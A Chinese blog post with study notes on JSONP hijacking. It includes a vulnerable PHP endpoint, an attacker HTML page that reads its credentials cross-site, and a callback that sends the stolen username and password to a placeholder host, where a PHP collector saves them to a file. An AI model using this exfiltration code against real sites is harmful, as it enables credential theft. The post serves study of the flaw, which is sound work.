Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP.MVC的模板标签系统(三)
Sep 05 PHP
ie6 动态缩略图不显示的原因
Jun 21 PHP
MayFish PHP的MVC架构的开发框架
Aug 13 PHP
浅析php header 跳转
Jun 17 PHP
浅析php变量修饰符static的使用
Jun 28 PHP
PHP+Ajax检测用户名或邮件注册时是否已经存在实例教程
Aug 23 PHP
20个2014年最优秀的PHP框架回顾
Oct 22 PHP
深入讲解PHP的对象注入(Object Injection)
Mar 01 PHP
PHP命令空间namespace及use的用法小结
Nov 27 PHP
PHP将整数数字转换为罗马数字实例分享
Mar 17 PHP
Laravel 关联模型-关联新增和关联更新的方法
Oct 10 PHP
Laravel框架处理用户的请求操作详解
Dec 20 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
无法在发生错误时创建会话,请检查 PHP 或网站服务器日志,并正确配置 PHP 安装(win+linux)
2012/05/05 PHP
Smarty模板学习笔记之Smarty简介
2014/05/20 PHP
php curl简单采集图片生成base64编码(并附curl函数参数说明)
2019/02/15 PHP
thinkPHP事务操作简单案例分析
2019/10/17 PHP
AJAX的跨域与JSONP(为文章自动添加短址的功能)
2010/01/17 Javascript
2012年开发人员的16款新鲜的jquery插件体验分享
2012/12/28 Javascript
JS截取字符串常用方法详细整理
2013/10/28 Javascript
javascript获取select的当前值示例代码(兼容IE/Firefox/Opera/Chrome)
2013/12/17 Javascript
node.js中的fs.writeFile方法使用说明
2014/12/14 Javascript
JavaScript实现点击自动选择TextArea文本的方法
2015/07/02 Javascript
终于实现了!精彩的jquery弹幕效果
2016/07/18 Javascript
JS控制FileUpload的上传文件类型实例代码
2016/10/07 Javascript
jQuery插件版本冲突的处理方法分析
2017/01/16 Javascript
js封装成插件_Canvas统计图插件编写实例
2017/09/12 Javascript
JavaScript怎样在删除前添加确认弹出框?
2019/05/27 Javascript
微信小程序数据统计和错误统计的实现方法
2019/06/26 Javascript
js回调函数仿360开机
2019/12/26 Javascript
jQuery 判断元素是否存在然后按需加载内容的实现代码
2020/01/16 jQuery
Numpy中的mask的使用
2018/07/21 Python
python如何将多个PDF进行合并
2019/08/13 Python
python 公共方法汇总解析
2019/09/16 Python
基于python解线性矩阵方程(numpy中的matrix类)
2019/10/21 Python
python 实现线程之间的通信示例
2020/02/14 Python
python爬取网易云音乐热歌榜实例代码
2020/08/07 Python
删除pycharm鼠标右键快捷键打开项目的操作
2021/01/16 Python
html5的input的required使用中遇到的问题及解决方法
2018/04/24 HTML / CSS
商务会议邀请函
2014/01/09 职场文书
玲玲的画教学反思
2014/02/04 职场文书
新年爱情寄语
2014/04/08 职场文书
服装仓管员岗位职责
2014/06/17 职场文书
抗震救灾标语
2014/06/26 职场文书
身边的榜样活动方案
2014/08/20 职场文书
医学检验专业自荐信
2014/09/18 职场文书
幼儿园六一儿童节活动总结
2015/02/10 职场文书
销售合作意向书范本
2015/05/08 职场文书
导游词之吉林花园山
2019/10/17 职场文书